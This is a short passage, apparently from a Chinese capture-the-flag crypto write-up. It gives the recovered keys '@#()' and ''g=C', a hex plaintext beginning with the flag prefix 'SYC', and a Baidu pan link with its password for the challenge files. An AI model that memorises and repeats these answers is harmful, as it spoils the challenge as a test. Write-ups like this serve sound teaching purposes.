密钥是@#()。我想了下主办方干嘛要限制第4个字符呢,于是把第4个字符范围扩大到所有可见字符,原来还有一解:'g=C,对应的十六进制明文是5359432B17FA53419C25E9979E,恰好也是SYC开头。
最后附上题目附件及我用到的代码和参考的论文。部分py如运行不顺,请在linux中运行。 链接: http://pan.baidu.com/s/1eQs0u6A 密码: hv8e